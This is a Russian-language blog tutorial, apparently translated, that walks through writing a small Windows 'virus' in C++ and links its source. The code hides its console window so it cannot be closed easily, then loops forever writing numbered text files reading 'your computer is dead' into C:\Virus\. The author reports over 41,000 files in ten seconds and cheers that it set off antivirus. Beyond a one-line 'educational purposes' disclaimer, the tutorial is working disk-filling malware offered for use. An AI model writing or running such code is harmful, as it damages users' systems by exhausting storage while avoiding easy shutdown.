Прежде всего, нам нужно понять, что означает болезнь компьютера.

Ну, все дело в том, чтобы заставить компьютер делать что-то обычное, но очень-очень быстрое и повторяющееся. Поэтому мы собираемся использовать для этой цели C++, потому что это сверхбыстрый язык. А не ___ ли нам?

Примечание: это только для образовательных целей!

1. Давайте подготовим наши библиотеки.

#include <iostream>
#include <fstream> //for openning the files and write inside of them
#include <string> //to deal with strings
#include <direct.h> //to create a directory
#include <Windows.h> //so we can make the program anonymous

Конечно, библиотеки сами по себе не могут сделать это, но мы включаем их, чтобы использовать функции, которые сделают наш вирус опасным.

2. Основная функция изготовления

Пришло время подготовить основную функцию, и давайте начнем с анонимизации вируса с помощью функции «FreeConsole()». также мы создадим переменную int, чтобы отслеживать, сколько файлов сделал наш вирус, поэтому наш код будет выглядеть так:

int main(){
FreeConsole();
int h = 0;
}

примечание: функция «FreeConsole()» действительно крутая, если мы ее поставим, пользователь не сможет даже закрыть программу, кроме как из диспетчера задач.

Пусть начинается волшебство, нам нужно создать имя каталога и создать сообщение для размещения файлов, которые мы создадим. Затем мы создаем сам каталог, поэтому основная функция:

int main(){
FreeConsole();
int h = 0;
const char *path = "C:\\Virus\\";
std::string str ="your computer is dead";
_mkdir(path); //this function will create the directory
}

3. Бесконечный цикл

Это та часть, где код действительно становится опасным, мы создадим бесконечный цикл, который продолжает создавать все больше и больше файлов и никогда не останавливается.

Код бесконечного цикла должен быть примерно таким:

while (true){
++h;
std::ofstream Virus;
Virus.open(path + std::to_string(h) + ".txt", std::ios_base::out);
Virus << str;
Virus.close();
}

Это действительно опасно?

Давайте попробуем! Я создал программу и запустил ее на своем устройстве, и это произошло в тот момент, когда я ее запустил:

Как видите, мы заставили антивирус запускаться с нашим маленьким вирусом. ЗЛО! последнее, что мы проверим, это сколько файлов мы создали буквально за 10 секунд запуска этого вируса:

41 595 ФАЙЛОВ!

Это так быстро, я же говорил.

Это конец этого блога, надеюсь, вам понравилось!

исходный код:

https://github.com/habiblafi/habib.virus